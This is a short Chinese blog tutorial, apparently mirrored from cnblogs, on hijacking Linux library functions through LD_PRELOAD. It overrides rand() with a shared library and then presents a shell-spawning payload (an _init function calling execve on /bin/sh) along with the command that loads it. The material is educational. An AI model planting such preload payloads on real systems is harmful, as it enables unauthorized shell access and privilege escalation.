zoukankan      html  css  js  c++  java
  • Linux下利用动态链接劫持库函数并注入代码

    关于环境变量$ LD_PRELOAD

    $LD_PRELOAD是一个环境变量,用于加载动态库,他的优先级是最高的

    /*
        优先级顺序:
        (1)$LD_PRELOAD
        (2)$LD_LIBRARY_PATH
        (3)/etc/ld.so.cache
        (4)/lib
        (5)/usr/lib
    */
    

    一个挑战就是,这玩意可以产生一个shell,就像下面这样:

    $ LP_PRELOAD = ./payload.so /bin/true
    

    劫持库函数

    假设存在一段这样的代码,其编译过程

    #include <stdio.h>
    #include <time.h>
    #include <stdlib.h>
    
    int main(int argc, char const *argv[]){
        srand(time(NULL));
        printf("%d
    ", rand());
    }
    
    gcc random.c -o random
    ./random
    

    好的我们来覆写一下这个函数

    int rand(void){
        return 32;
    }
    
    gcc -shared -fpic shlib.c -o shlib.so
    LD_PRELOAD=./shlib.so ./random
    

    构造Payload

    #include <unistd.h>
    
    void _init(){
        char *argv[] = {"/bin/sh", 0};
        execve(argv[0], &argv[0], NULL);
    }
    

    博主简介:博主国内安全行业目前最强大的网络安全公司做技术研究员,常年做技术工作。 获得过以下全国竞赛大奖: 《中国电子作品大赛一等奖》 《云计算技术大赛一等奖》 《AIIA人工智能大赛优胜奖》《网络安全知识竞赛一等奖》 《高新技术个人突出贡献奖》,并参与《虚拟化技术-**保密**》一书编写,现已出版。还拥有多项专利,多项软件著作权! 且学习状态上进,立志做技术牛逼的人。座右铭:在路上,永远年轻,永远热泪盈眶。可邮件联系博主共同进步,个人邮箱:pigeon_code@163.com
  • 相关阅读:
    day3-课堂笔记
    day2-作业及答案
    2016年11月19日一周工作知识点总结
    2016年11月19日一周工作知识点总结
    使用JDK开发WebService
    使用JDK开发WebService
    Java WebService 简单实例
    Java WebService 简单实例
    BigDecimal不整除的一个异常java.lang.ArithmeticException
    2016年11月13日周工作知识点总结
  • 原文地址:https://www.cnblogs.com/mutudou/p/14652849.html
Copyright © 2011-2022 走看看